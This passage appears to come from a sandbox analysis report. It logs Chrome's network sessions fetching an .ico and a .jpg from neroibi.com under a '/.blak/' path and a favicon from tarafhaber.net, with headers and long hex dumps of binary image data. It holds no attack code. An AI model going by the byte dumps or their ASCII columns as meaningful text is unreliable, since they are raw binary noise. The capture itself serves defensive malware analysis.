a8 d5 e0 Data Ascii: \:*'?QSG{iyls)81\(GVU?Kb${Hu((ink?g;M, G5zWW<Z>sl)PJ'Iwl_)u$%}UfYLKbZ@0m_:`o\|+=}f0fd>u`xge
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 56 01 ce 11 05 e0 1c 19 59 0a 40 20 e0 ec d8 98 d2 cf 6d e3 fc 16 14 31 4d 4d f2 76 0c 70 ee 13 00 44 48 a2 ab 5b de ce 7d 32 cd 2d ae a3 20 60 f2 27 8e 2b bd fd 29 d9 d1 11 d7 51 80 50 aa 68 09 68 ed 1f 95 ff 45 a2 89 02 70 0e 3e 78 f8 eb 9f 92 d1 03 ae 73 00 28 c1 c4 04 b7 ec f0 4b ae 93 20 68 26 27 3f f6 f4 ba 4e 02 00 a8 b2 e4 5a 26 c2 63 7a b9 57 5f 51 e6 85 67 a5 6c d6 75 14 20 d4 2a 58 02 ae be f0 c0 03 6d 95 c8 14 35 14 80 73 50 c8 25 fe 48 fc d9 01 f5 c3 5a e5 86 8f 2a 7b 70 50 b2 15 1f 47 8f 7a 66 8c 52 3d 1b 95 ea db 2a 19 1e d6 01 20 74 8c 51 aa b7 5f a9 7e 1e e7 31 85 b5 ca 1e 3d a8 ec 10 cf 0f 81 5a a9 50 09 18 8f c5 ec f7 2a 95 29 4a b8 0a ce 0d db 7f 81 3a 94 7b 6d e2 15 de 4c c6 75 14 04 4c 72 1d 2b 43 00 20 74 26 57 7a af ef 71 9d 04 41 Data Ascii: VY@ m1MMvpDH[}2- `'+)QPhhEp>xs(K h&'?NZ&czW_Qglu Xm5sP%HZ{pPGzfR=* tQ_~1=ZP*)J:{mLuLr+C t&WzqA
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: dd 2f 7b e5 b2 eb 28 08 98 44 57 b7 1a 77 0f c9 b4 86 fe d8 97 c8 32 cd 2d f2 76 ed e7 ec 47 14 b1 a3 23 4a 3f f3 24 67 c6 02 00 a4 42 41 b9 ac 0d f5 24 e0 70 17 80 96 01 20 00 80 8f f9 6f bf a5 f4 96 4d 4c 75 44 91 d8 e2 25 f2 06 0f 31 0d 36 84 4c 5b bb bc 81 21 c5 97 76 b8 8e 82 80 b1 97 2e 2a bd ad 4f 85 37 4f b9 8e 02 00 08 8a ab 63 0b 5d 47 a8 a6 50 17 80 be 7c 0a 40 00 c0 35 fe 3b e7 34 fe f8 06 f9 67 4e bb 8e 82 80 89 cd 5f a0 c6 03 c7 14 5b b8 c8 75 14 54 08 7f a7 98 89 7f fe ac c6 9f e0 5a 00 00 b8 91 9f cb df e3 3a 43 35 85 ba 00 34 32 14 80 00 80 1b d8 0f 2f 2a bd 65 93 0a 27 5f 77 1d 05 01 63 da da e5 ed 39 ac f8 8a 4e d7 51 50 a6 f8 b2 0e 79 7b 8f b0 aa 13 45 0a 6f 9c fa ff d9 bb d7 27 ab ee fb ce f7 9f df da d7 be 80 e4 48 51 62 59 ca b1 24 Data Ascii: /{(DWw2-vG#J?$gBA$p oMLuD%16L[!v.O7Oc]GP\|@5;4gN_[uTZ:C542/e'_wc9NQPy{Eo'HQbY$
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 44 5f fd 08 00 00 a2 c1 a7 d2 cf 59 37 b4 5a e2 06 c0 52 25 7c 55 92 b7 ee 00 00 00 c9 e6 27 26 54 da b8 2e 11 cf c1 ab 0d 0e a8 d4 b7 46 7e bc 60 9d 02 00 00 a0 6c 2e f7 8f d6 0d ad 96 b8 01 f0 8e 03 07 ae 48 3a 63 dd 01 00 00 f0 de 49 b8 95 fe 1d d6 25 4d 53 dd 3b 79 02 72 a5 62 9d 02 00 00 20 97 cd d6 3e 7a f2 e4 5b d6 1d ad 96 b8 01 50 92 e4 78 0e 20 00 00 88 08 ef 55 ed df a9 ca 53 5f 96 7c 68 5d d3 38 de ab b2 f3 29 55 b6 c7 ec bf 17 00 00 68 6b a9 5c f6 6d eb 06 0b 89 1c 00 3d 07 81 00 00 80 88 a9 ee 9b bc 52 ae 5c b6 4e 59 bc c9 2b 1b ab bb fb ad 4b 00 00 00 3e 20 c8 a4 4f 5a 37 58 48 e4 00 18 70 05 20 00 00 88 a0 da e0 80 8a eb 1f 90 1f bb 62 9d b2 60 7e bc a0 d2 86 d5 89 78 b6 21 00 00 68 43 99 54 e2 4e 00 96 12 3a 00 fa d0 bf 6a dd 00 00 00 30 Data Ascii: D_Y7ZR%\|U'&T.F~`l.H:cI%MS;yrb >z[Px US_\|h]8)Uhk\m=R\NY+K> OZ7XHp b`~x!hCTN:j0
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 13 6a 42 a0 34 25 34 2c 86 90 6f 43 bf 05 1a 68 81 6f 7e a5 14 f8 b5 65 6f cb 8f 5f 09 ed 2f 2c a5 7c a1 cb 97 02 2d 4d 81 94 02 29 4b 21 34 71 16 c7 90 04 9c d0 34 89 37 69 b4 78 5f 24 db b2 66 ce ef 0f 5b b6 34 9a e5 ce cc 9d 39 b3 bc 9e 79 f8 61 e9 de 73 cf f9 c8 60 8f e6 ad cf b9 b7 90 87 7f 64 bb 3e d3 ef f5 20 d2 d5 f9 ad 15 63 63 8f b8 ae 03 d5 83 00 10 8b 1c 3a 76 e2 e3 32 7a d2 75 1d e9 ca 75 bf 86 f4 6d c0 8b c6 e5 78 18 c8 a2 b0 2f 67 b7 e0 e2 39 ac b5 da f3 17 1f d7 e4 d7 bf 56 40 c5 00 00 00 00 50 1f 26 bf fe 75 ed 78 d3 9b a4 d4 f9 db d2 e5 6b ba f0 db 94 91 eb 58 b6 8f 4b 55 8d a1 a1 89 c5 4e ab d3 fe 0f d7 75 a0 ba 10 00 62 91 b5 3b 76 cc 1a 79 ef 70 5d 87 1f e5 da 06 9c f7 45 27 5b e0 27 7f 5d 80 36 65 b5 f3 a3 7f aa fd 77 df 5d 78 d1 00 Data Ascii: jB4%4,oCho~eo_/,\|-M)K!4q47ix_$f[49yas`d> cc:v2zuumx/g9V@P&uxkXKUNub;vyp]E'[']6ew]x
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: ca a9 5a ff fe 01 81 49 8c 5c 75 99 b5 e1 6d 92 fa 5c d7 92 4b b9 7b ee 2a d5 d3 17 78 f7 20 9d 80 00 00 00 68 40 95 7a b3 5e ee 75 aa 3d 74 30 e1 b0 6d ea eb db bc 72 7c fc c7 ae 6b 01 ca 89 0e 40 d4 bd e5 5b 7f ba db 1a 73 93 a4 39 d7 b5 e4 52 ee a7 7d 55 ea 89 62 b9 ba 07 0b f9 b5 60 42 3a 01 01 00 00 50 33 4a 79 ea 6f 45 be 5f af c0 3a 2e 9e 64 5c 14 63 14 e9 e9 79 27 e1 1f 1a 41 d5 ff 7d 04 82 32 b6 71 fd 3b 64 ec 1d ae eb 28 44 a5 ef c4 57 05 77 fe cb 2e 65 35 fd e4 53 3a 7d 88 4e 40 00 00 00 c0 8f 4a bf e1 af b5 80 21 b2 ac f7 2b ab a7 f6 df ec ba 0e a0 12 6a ed ef 27 50 92 b1 e1 a1 4f 49 7a 9b eb 3a 8a e1 32 9c ab 9a 60 d0 9e 0d 01 d9 0e 0c 00 00 00 9c e3 f2 8d 7d ad 86 0a d1 ae ce 9f 0c 1c 3a 3c e8 ba 0e a0 52 d8 02 8c 86 b2 fc 92 cb 6f 93 f4 6f Data Ascii: ZI\um\K{*x h@z^u=t0mr\|k@[s9R}Ub`B:P3JyoE_:.d\cy'A}2q;d(DWw.e5S:}N@J!+j'POIz:2`}:<Roo
2024-04-19 14:56:20 UTC	2758	IN	Data Raw: 08 00 a8 5b e3 9b 86 d6 a6 ac d9 22 6b df 20 69 85 eb 7a 24 d1 09 08 00 55 c6 8b 44 92 5e 6b fc e7 5e 2c fa 39 9e e2 0b 00 a8 57 04 80 00 80 ba 67 25 6f 7c c3 e0 88 35 de 16 19 bd 5e 52 9f db 82 08 01 01 c0 25 13 0a d9 50 6b 7c a7 69 8a 7d 79 a0 77 d9 47 cc 8e 1d b3 ae 6b 02 00 a0 9c 08 00 01 00 0d c5 6e d9 12 4a ec dd f5 22 6b cc 1b 8c f4 4a 67 0f 0f 21 04 04 80 ca f2 3c 45 e2 2d 93 a6 a5 e5 cb b3 29 fb fe b5 fb f6 1d 77 5d 12 00 00 95 42 00 08 00 68 58 fb 36 6d 6a 3b 6d 4f dd 68 ad b9 d9 48 2f b6 52 a4 a2 05 70 4f 40 00 28 2f 63 14 6a 8d ef 0b 35 37 dd 19 8a 7b 1f 5a b9 73 6a d2 75 49 00 00 b8 40 00 08 00 80 a4 dd 57 5f dd 15 4a ce de e0 c9 be dc 4a d7 4b 8a 57 64 61 3a 01 01 20 58 f3 9d 7e cd 4d df 53 53 cb 47 07 f6 ec 79 dc 75 49 00 00 b8 46 00 08 00 Data Ascii: ["k iz$UD^k^,9Wg%o\|5^R%Pk\|i}ywGknJ"kJg!<E-)w]BhX6mj;mOhH/RpO@(/cj57{ZsjuI@W_JJKWda: X~MSSGyuIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49756	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:20 UTC	354	OUT	GET /.blak/othermail.ico HTTP/1.1 Host: neroibi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:20 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:20 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:39 GMT Accept-Ranges: bytes Content-Length: 199448 Connection: close Content-Type: image/x-icon
2024-04-19 14:56:20 UTC	7981	IN	Data Raw: 00 00 01 00 09 00 00 00 00 00 01 00 20 00 c2 92 00 00 96 00 00 00 80 80 00 00 01 00 20 00 28 08 01 00 58 93 00 00 60 60 00 00 01 00 20 00 a8 94 00 00 80 9b 01 00 48 48 00 00 01 00 20 00 88 54 00 00 28 30 02 00 40 40 00 00 01 00 20 00 28 42 00 00 b0 84 02 00 30 30 00 00 01 00 20 00 a8 25 00 00 d8 c6 02 00 20 20 00 00 01 00 20 00 a8 10 00 00 80 ec 02 00 18 18 00 00 01 00 20 00 88 09 00 00 28 fd 02 00 10 10 00 00 01 00 20 00 68 04 00 00 b0 06 03 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 00 49 44 41 54 78 9c ec bd 79 9c 5d 47 75 27 fe ad fb 7a 6f 6d 2d a9 b5 ef b2 bc 62 59 5e 64 83 13 18 08 36 90 10 02 04 86 fc 08 d9 63 02 09 04 Data Ascii: (X`` HH T(0@@ (B00 % ( hPNGIHDR\rfpHYsod IDATxy]Gu'zom-bY^d6c
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 7d 4a c6 8d aa 80 b4 57 52 01 b4 8b 0b db 89 73 ad ff cf f5 8c 90 18 98 47 61 84 42 66 4a 4f c9 e6 aa 6b 8c 54 26 65 c6 8b 7c 54 46 06 ec 7c 40 0d 7a 4e 98 78 24 66 ba 10 2c 84 b6 4c 82 3b 65 54 62 c9 2b 02 72 43 e8 e9 32 58 b3 a0 1b 9b 16 f7 60 f3 c2 1e 2c ee ad 61 41 4f 86 e5 7d 5d 58 3b d0 8d fe ae 0c cb 7a d3 e2 70 68 b2 8e 13 33 0d 8c cc 34 70 64 a2 8e d1 99 26 8e 4f 37 f0 d0 e1 09 3c 3b 36 8b a9 d9 26 b2 a6 05 5d 22 c5 8c bb 36 b2 8e ea d7 b0 47 a1 49 34 90 26 6e b8 cb a7 8a 08 d6 9d bd a3 e7 78 f3 bf c4 33 d1 99 b2 3b e3 c1 57 c4 34 ee e3 2e 3c 3e 33 61 64 87 7d ae 28 04 a1 4b 81 49 aa 64 7f 6d ec f9 0a 20 98 ae 1e 80 68 15 3a a4 8e 01 00 79 be 2c eb e9 0d 1a 05 00 dc 0d 8a 34 95 5b e1 92 6d 33 64 84 b1 48 29 ba 11 17 da ba eb 4f 46 04 e5 17 e2 48 Data Ascii: }JWRsGaBfJOkT&e\|TF\|@zNx$f,L;eTb+rC2X`,aAO}]X;zph34pd&O7<;6&]"6GI4&nx3;W4.<>3ad}(KIdm h:y,4[m3dH)OFH
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 31 36 4e 32 b2 80 24 32 97 b4 5a e2 d9 ea 05 5d b8 68 51 6f 3a fe 1c f4 b9 3d a7 d5 81 11 10 bd 19 f6 45 c8 b6 13 f1 ac 7c e4 86 f0 d6 ab 57 e2 45 ab 5b 1f 86 b4 4a 33 cd 1c bb 47 67 70 6a a6 81 c9 46 8e e1 fe 2e ac ec ef c1 aa 81 8e 3f 41 e7 e9 d8 84 3d ef cf 75 a6 f5 06 4b 76 93 00 50 7a 41 c0 fd fb 5b f7 00 d6 0c f4 a0 bb 96 a1 4e e1 bb 6a c4 15 96 94 02 46 cc 24 34 53 5b e9 b9 e4 0b 89 be 16 e9 10 64 dd 32 c6 ff e5 e4 df 29 ac 60 fe b7 a2 cf 83 13 f3 8a 8c 5f bb f7 db 1a 19 1e 90 75 05 c4 5e 3d 5b f1 f8 45 21 7b a7 db ce ef fa f3 73 f5 e1 21 47 62 65 d9 85 eb a6 5d 2f 59 00 40 84 1f db d4 ba f5 3f 3c 55 c7 63 23 d3 a8 95 58 81 d8 e2 04 be 49 85 e5 06 b8 71 c3 42 fc e2 25 ed 7f 64 64 2e 22 22 7c fd d0 18 be be ff 34 be b1 f7 34 8e 4f cc 82 72 82 c9 7d Data Ascii: 16N2$2Z]hQo:=E\|WE[J3GgpjF.?A=uKvPzA[NjF$4S[d2)`_u^=[E!{s!Gbe]/Y@?<Uc#XIqB%dd.""\|44Or}
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: d3 0f e0 91 67 8e 79 4f 49 0a 5c 71 77 f4 c4 38 fe f8 5b 4f 9f 77 fe 00 e0 53 8f 1f c2 4f fd af bb 71 9c ef f4 83 6c c1 c0 b2 1a bb 13 85 95 26 52 da 4a ec dd 7b 3e 9b af fa 30 a4 20 b9 14 ed c5 8d 14 47 c5 b5 89 b8 94 79 c9 72 1d bb 52 86 63 1f a0 1a 10 ae 66 2b 30 dc 78 37 7e e2 2d bd 6b c4 9c 40 ce fd f6 6e 79 fc 27 bc 36 81 78 0c 29 44 27 a5 c1 20 46 0d 9e a9 51 71 c2 f3 93 63 53 b8 e7 48 7b ab 01 3f 7b e5 6a e4 b5 8c c9 8e ae 1f 2b ce b6 01 e5 76 85 20 27 7c e5 b1 83 f8 ad 3b 9e 3a 6f 9e c0 1d fb 4e e0 27 3e f1 6d 3c b5 7f 24 f4 93 d7 24 db bf 36 ae 69 e6 f8 f8 37 77 e1 6b e7 71 42 f0 d0 c4 0c 7e e5 1f 1f c4 ef 7c fa db 68 8c b9 fd 08 4c be 84 5c 68 e0 b2 71 f4 5b 7f 80 88 23 86 ac 11 34 53 01 1a be cf 8c 1d b5 f2 32 65 7e 4e 79 9d f1 d1 72 16 79 87 Data Ascii: gyOI\qw8[OwSOql&RJ{>0 GyrRcf+0x7~-k@ny'6x)D' FQqcSH{?{j+v '\|;:oN'>m<$$6i7wkqB~\|hL\hq[#4S2e~Nyry
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: af 77 4c f8 58 7f 4a 87 c5 52 0a 97 b1 e5 89 94 ed 78 c5 dc 55 f6 5c 87 10 d7 6c 4a 61 be 32 06 69 d8 c9 e8 41 6b 7f 52 8a ff 9e c2 dc 06 a3 d1 18 38 67 21 b1 64 94 0c e4 a9 99 29 a7 a3 ac a2 35 d7 03 2e f9 28 9a 56 1d 24 9d e6 f0 8d e3 a1 fe 22 3a eb 36 7d c7 21 62 d5 30 9c 43 e6 a1 f3 cd 6a e1 78 32 00 ee 41 0e 76 16 c0 e3 61 bd de a7 7b ae 56 9b bc 5f 26 31 ee 36 4e 5a 48 24 a8 c3 fa 62 27 32 fd aa 62 85 0e db 50 4d 43 ea 64 6e 4c 18 32 46 96 e8 0f 78 7f 00 6b f0 9c f6 8a ed 3b c9 4d 27 4b af b4 e2 8a 50 b3 d6 aa 6e 2a 4b 60 47 24 1a c6 09 cf da 18 e5 78 be a3 a0 3c 56 c8 fd 32 f2 86 58 7f 54 c8 6e 0b db 74 d6 a8 1c 02 ab 9c ae 51 2a 51 57 2c dc 62 94 9c 33 26 3a 82 e5 b2 5d 2d cc 03 9d ce 37 da 28 5a 29 0c c5 00 74 26 d7 7d 6d 30 3f 77 62 6c e3 79 eb Data Ascii: wLXJRxU\lJa2iAkR8g!d)5.(V$":6}!b0Cjx2Ava{V_&16NZH$b'2bPMCdnL2Fxk;M'KPnK`G$x<V2XTntQQW,b3&:]-7(Z)t&}m0?wbly
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 20 09 00 85 61 1b 00 92 6b 1d 00 8b 65 1c a3 a4 77 22 ff a4 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a6 79 22 ff a5 79 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a5 78 22 ff a4 77 22 ff a4 78 22 ff a4 77 22 ff a4 77 22 ff a3 77 22 ff a3 77 22 ff a3 77 21 ff a3 77 22 ff a3 77 21 ff Data Ascii: , akew"x"x"x"x"x"x"x"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"x"x"x"x"x"x"w"x"w"w"w"w"w!w"w!
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: ff ff ff ff ff ff ff d4 bc 89 ff a7 7b 23 ff a7 7a 22 ff a6 7a 22 ff a6 79 22 ff a5 79 22 ff a5 78 21 ff a5 78 21 ff a4 77 21 ff a4 77 21 ff a3 76 20 ff a3 76 20 ff a3 75 20 ff a2 75 1f ff a2 75 1f ff a1 75 1f ff a1 74 1f ff a0 74 1e ff a0 73 1e ff 9f 73 1e ff 9f 72 1d ff 9e 72 1d ff 9e 71 1d ff 9d 71 1d ff 9c 70 1c ff 9c 6f 1c ff 9c 6f 1c ff 9b 6f 1c ff 9b 6e 1c ff 9a 6e 1c ff 99 6d 1b ff 99 6c 1b ff 98 6c 1b ff 98 6c 1b ff 98 6b 1a ff 97 6b 1a ff 97 6b 1a ff 97 6a 19 ff 96 6a 19 ff 96 6a 19 ff 95 69 19 ff 95 68 18 ff 85 5d 15 f0 8a 60 16 00 77 53 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 4c 16 00 a2 79 24 00 9f 76 24 f6 b1 83 28 ff b1 84 28 ff Data Ascii: {#z"z"y"y"x!x!w!w!v v u uuuttssrrqqpooonnmlllkkkjjjih]`wSgLy$v$((
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 96 32 ff c3 96 32 ff c4 96 32 ff c4 96 32 ff c3 96 32 ff c3 96 32 ff c4 96 32 ff c5 98 33 ff fb f8 f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cf ac 57 ff c2 95 31 ff c2 95 31 ff c2 94 31 ff c2 94 31 ff c2 94 31 ff c2 93 30 ff ce a9 52 ff fd fc f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 e9 d2 ff bd 92 34 ff b9 8b 2b ff ba 8d 2d ff f8 f4 e8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fc f8 ff cc ae 6a ff ae 80 25 ff ad 7f 24 ff ad 7f 24 ff Data Ascii: 22222223W111110R4+-j%$$
2024-04-19 14:56:20 UTC	8000	IN	Data Raw: 7c 22 ff a9 7b 21 ff a8 7b 21 ff a8 7a 20 ff a7 79 20 ff a7 78 20 ff a6 78 1f ff a6 77 1f ff a5 77 1f ff a4 76 1e ff a4 75 1e ff a3 75 1d ff 94 6a 1b ff 99 6d 1b 00 84 5f 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 79 5d 1f 00 c0 94 32 00 bc 91 31 ff cf 9f 36 ff cf a0 36 ff d0 a0 36 ff d0 a1 37 ff d1 a1 37 ff d1 a2 37 ff d1 a2 37 ff d2 a2 38 ff d2 a3 38 ff d2 a3 38 ff d2 a3 38 ff d3 a4 38 ff d3 a4 39 ff d3 a4 39 ff d3 a4 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff d4 a5 39 ff f4 ea cd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 ef ff d3 a5 38 ff d3 a4 38 ff Data Ascii: \|"{!{!z y x xwwvuujm_y]21666777788888999999999999988

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49758	172.67.134.189	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:20 UTC	605	OUT	GET /favicon.ico HTTP/1.1 Host: 3245.tarafhaber.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://3245.tarafhaber.net/351-h46.htm Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:20 UTC	628	IN	HTTP/1.1 404 Not Found Date: Fri, 19 Apr 2024 14:56:20 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BKDF%2BuRcUWfyocdeXni9QQOsnK8ZJMyenZQrxLU1tTbaDhpcgMLdn%2BxbwJwqqFp6T5dTLXX%2BQV%2Fu8C%2FNYcA%2B5f%2FXkuatJPFC1vBmWQ9DQflf1ugkcUTxKhxe23GuwPQUM8kAdFBa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dbda17ae97bd0-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:20 UTC	322	IN	Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying t
2024-04-19 14:56:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49757	103.153.183.146	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:20 UTC	346	OUT	GET /.blak/8.jpg HTTP/1.1 Host: neroibi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:20 UTC	210	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:20 GMT Server: Apache Last-Modified: Wed, 03 Apr 2024 10:31:41 GMT Accept-Ranges: bytes Content-Length: 1950404 Connection: close Content-Type: image/jpeg
2024-04-19 14:56:20 UTC	7982	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 20 00 00 07 aa 10 02 00 00 00 6c c7 d9 95 00 00 0c 3a 69 43 43 50 44 69 73 70 6c 61 79 00 00 48 c7 ad 57 67 58 53 49 17 9e 5b 92 90 40 68 01 04 a4 84 de 04 11 29 01 a4 84 d0 02 48 ef a2 12 92 00 a1 c4 18 08 2a 76 64 51 c1 b5 a0 62 01 1b ba 2a a2 d8 69 16 14 b1 b3 28 f6 be 58 50 50 d6 c5 82 5d f9 26 05 74 dd fd 7e 7c cf f3 4d 9e b9 f7 cd 3b 67 de 73 e6 dc b9 e5 00 a0 76 82 23 12 e5 a0 ea 00 e4 0a f3 c5 d1 41 7e f4 c4 a4 64 3a a9 07 20 80 06 7f b6 c0 88 c3 cd 13 31 23 23 c3 00 6c 43 e7 bf b7 77 37 a0 35 6c 57 ed a5 5a e0 7f 6b 1a 3c 7e 1e 17 00 24 12 e2 34 5e 1e 37 17 e2 43 00 e0 55 5c 91 38 1f 00 a2 94 37 9b 96 2f 92 62 d8 81 96 18 06 08 f1 22 29 ce 90 e3 2a 29 4e 93 e3 7d 32 9b d8 68 16 c4 6d 00 28 Data Ascii: PNGIHDR l:iCCPDisplayHWgXSI[@h)HvdQbi(XPP]&t~\|M;gsv#A~d: 1##lCw75lWZk<~$4^7CU\87/b")*)N}2hm(
